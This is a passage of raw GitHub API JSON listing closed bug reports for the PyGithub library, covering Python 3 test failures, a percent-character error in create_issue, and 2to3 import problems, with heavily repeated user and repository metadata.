://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi,\r\nI'm experiencing dozens of failures with Python 3. Is this expected or is something wrong on my side? It seems that some of the failures are connected with random order of dict items in str(headers) in ReplayingConnection.request, but there are also other."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87/events","html_url":"https://github.com/jacquev6/PyGithub/issues/87","id":6911794,"number":87,"title":"Repository.create_issue() fails on percent '%' character","user":{"login":"quixotique","id":1477470,"avatar_url":"https://secure.gravatar.com/avatar/806d200fb8f92bd618cc7063a3b62013?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"806d200fb8f92bd618cc7063a3b62013","url":"https://api.github.com/users/quixotique","html_url":"https://github.com/quixotique","followers_url":"https://api.github.com/users/quixotique/followers","following_url":"https://api.github.com/users/quixotique/following{/other_user}","gists_url":"https://api.github.com/users/quixotique/gists{/gist_id}","starred_url":"https://api.github.com/users/quixotique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quixotique/subscriptions","organizations_url":"https://api.github.com/users/quixotique/orgs","repos_url":"https://api.github.com/users/quixotique/repos","events_url":"https://api.github.com/users/quixotique/events{/privacy}","received_events_url":"https://api.github.com/users/quixotique/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13/labels","id":174087,"number":13,"title":"Version 1.8.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2012-09-12T19:53:14Z","updated_at":"2012-09-30T18:12:03Z","due_on":"2012-09-30T07:00:00Z"},"comments":13,"created_at":"2012-09-17T07:17:56Z","updated_at":"2012-10-05T15:10:36Z","closed_at":"2012-09-25T19:56:32Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"If the **title** or **body** parameter of `Repository.create_issue()` contains a percent character `%` then it provokes a 500 error from `api.github.com`.\n\nCuriously, if the percent character is followed by two hex digits, eg `%2F` then the request succeeds. In this case, the `%2F` is not url-decoded: it remains as `%2F` in the body text of the issue, not as a slash `/`.\n\nThis looks like it could be GitHub's issue: eg, their API is enforcing urlencoded input but is not actually decoding it.\n\nWhatever the case, it is impossible to create an issue using PyGithub that contains text like “works 25% of the time”."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143/events","html_url":"https://github.com/jacquev6/PyGithub/issues/143","id":11731917,"number":143,"title":"Version 1.12.2 does not work with Python 3(.3) because of 2to3 issues","user":{"login":"ptwobrussell","id":98668,"avatar_url":"https://secure.gravatar.com/avatar/322a50ffdb98591460f05015770b7adb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"322a50ffdb98591460f05015770b7adb","url":"https://api.github.com/users/ptwobrussell","html_url":"https://github.com/ptwobrussell","followers_url":"https://api.github.com/users/ptwobrussell/followers","following_url":"https://api.github.com/users/ptwobrussell/following{/other_user}","gists_url":"https://api.github.com/users/ptwobrussell/gists{/gist_id}","starred_url":"https://api.github.com/users/ptwobrussell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ptwobrussell/subscriptions","organizations_url":"https://api.github.com/users/ptwobrussell/orgs","repos_url":"https://api.github.com/users/ptwobrussell/repos","events_url":"https://api.github.com/users/ptwobrussell/events{/privacy}","received_events_url":"https://api.github.com/users/ptwobrussell/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":13,"created_at":"2013-03-06T20:48:02Z","updated_at":"2013-03-21T21:00:47Z","closed_at":"2013-03-21T21:00:47Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"In trying to pip install PyGithub with Python 3.3 just now, I see the following in the console:\r\n\r\nDownloading/unpacking PyGithub\r\n Downloading PyGithub-1.12.2.tar.gz (1.6MB): 1.6MB downloaded\r\n Running setup.py egg_info for package PyGithub\r\n \r\nInstalling collected packages: PyGithub\r\n Running setup.py install for PyGithub\r\n Fixing build/lib/github/__init__.py build/lib/github/AuthenticatedUser.py \r\n\r\n...\r\n\r\n File \"/Users/matthew/virtual-environments/mtsw2e/lib/python3.3/site-packages/github/AuthenticatedUser.py\", line 16\r\n from . import github.GithubObject\r\n ^\r\n SyntaxError: invalid syntax\r\n\r\n .... more of the same errors ...\r\n\r\nIn looking at the source on GitHub for this version (such as https://github.com/jacquev6/PyGithub/blob/v1.12.2/github/UserKey.py), it appears that you are just doing straight imports as \"import github.X\" which is causing 2to3 to produce invalid imports when it rewrites."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/80/events","html_url":"https://github.com/jacquev6/PyGithub/issues/80","id":6807542,"number":80,"title":"Assertion Failure ??","user":{"login":"mnsanghvi","id":1726664,"avatar_url":"https://secure.gravatar.com/avatar/e409b9dc39edbc7c61c36de28d16cc84?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e409b9dc39edbc7c61c36de28d16cc84","url":"https://api.github.com/users/mnsanghvi","html_url":"https://github.com/mnsanghvi","followers_url":"https://api.github.com/users/mnsanghvi/followers","following_url":"https://api.github.com/users/mnsanghvi/following{/other_user}","gists_url":"https://api.github.com/users/mnsanghvi/gists{/gist_id}","starred_url":"https://api.github.com/users/mnsanghvi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mnsanghvi/subscriptions","organizations_url":"https://api.github.com/users/mnsanghvi/orgs","repos_url":"https://api.github.com/users/mnsanghvi/repos","events_url":"https://api.github.com/users/mnsanghvi/events{/privacy}","received_events_url":"https://api.github.com/users/mnsanghvi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/12/labels","id":172499,"number":12,"title":"Version 1.7","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-09-10T04:25:53Z","updated_at":"2012-09-12T19:40:27Z","due_on":"2012-09-14T07:00:00Z"},"comments":15,"created_at":"2012-09-12T02:07:44Z","updated_at":"2012-09-12T20:48:51Z","closed_at":"2012-09-12T19:28:02Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"``` python\n>>> from github import Github\n>>> gh = Github( \"login\", \"password\", \"base_url\")\n>>> for repo in gh.get_user().get_repos():\n... print repo.name\n...\nrepo1\nrepo2\nmy-person-linux-kernel-repo\nthe-secret-macosx-repo\n\n>>> for repo in gh.get_organization( org_name ).get_repos():\n... print 